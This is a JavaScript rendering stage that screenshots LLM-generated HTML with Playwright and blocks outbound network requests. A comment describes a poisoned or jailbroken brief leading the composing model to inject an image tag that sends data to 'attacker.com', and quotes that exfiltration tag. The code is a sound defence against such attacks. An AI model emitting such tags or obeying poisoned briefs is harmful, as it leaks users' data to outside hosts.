← back to Visual Factory
src/stages/render.js
60 lines
// Stage 4 — render. Playwright headless Chromium → PNG screenshot at target dimensions.
const fs = require('node:fs/promises');
const path = require('node:path');
const { chromium } = require('playwright');
async function runRender({ htmlPath, width, height, signal = null }) {
if (signal?.aborted) throw new Error('render aborted before launch');
const pngPath = htmlPath.replace(/\.html$/, '.png');
const browser = await chromium.launch({ headless: true });
// If abort fired during launch, the addEventListener below registers on an
// already-aborted signal and never fires — render would proceed in the
// background after withTimeout has rejected. Check now and bail clean.
if (signal?.aborted) {
await browser.close().catch(() => {});
throw new Error('render aborted during chromium launch');
}
// Wire external abort to browser.close() so a stage timeout actually kills
// the headless Chromium instead of leaving a zombie process eating GPU.
let onAbort = null;
if (signal) {
onAbort = () => { browser.close().catch(() => {}); };
signal.addEventListener('abort', onAbort, { once: true });
}
try {
const ctx = await browser.newContext({ viewport: { width, height }, deviceScaleFactor: 2 });
// SECURITY (P0 fix 2026-05-04): the compose prompt asks qwen3:14b to use
// "no external assets" — but that's an instruction, not enforcement. A
// jailbroken/poisoned brief can inject `<img src="https://attacker.com/?
// exfil=...">` and Playwright will fire the request before screenshot
// (waitUntil: 'networkidle' even WAITS for it). Block all network except
// file:// (the page itself) and Google Fonts (the one intentional dep).
await ctx.route('**/*', (route) => {
const u = new URL(route.request().url());
if (u.protocol === 'file:') return route.continue();
if (u.hostname === 'fonts.googleapis.com' || u.hostname === 'fonts.gstatic.com'
|| u.hostname.endsWith('.fonts.googleapis.com') || u.hostname.endsWith('.fonts.gstatic.com')) {
return route.continue();
}
return route.abort('blockedbyclient');
});
const page = await ctx.newPage();
await page.goto(`file://${path.resolve(htmlPath)}`, { waitUntil: 'networkidle', timeout: 30000 });
// Allow Google Fonts to settle. Abortable so a cancelled stage doesn't
// sit here for the full 1.5s.
await Promise.race([
page.waitForTimeout(1500),
new Promise((_, rej) => signal?.addEventListener('abort', () => rej(new Error('render aborted during font-settle')), { once: true })),
]);
await page.screenshot({ path: pngPath, fullPage: false, omitBackground: false, clip: { x: 0, y: 0, width, height } });
const stat = await fs.stat(pngPath);
return { pngPath, bytes: stat.size, width, height };
} finally {
if (signal && onAbort) signal.removeEventListener('abort', onAbort);
await browser.close().catch(() => {});
}
}
module.exports = { runRender };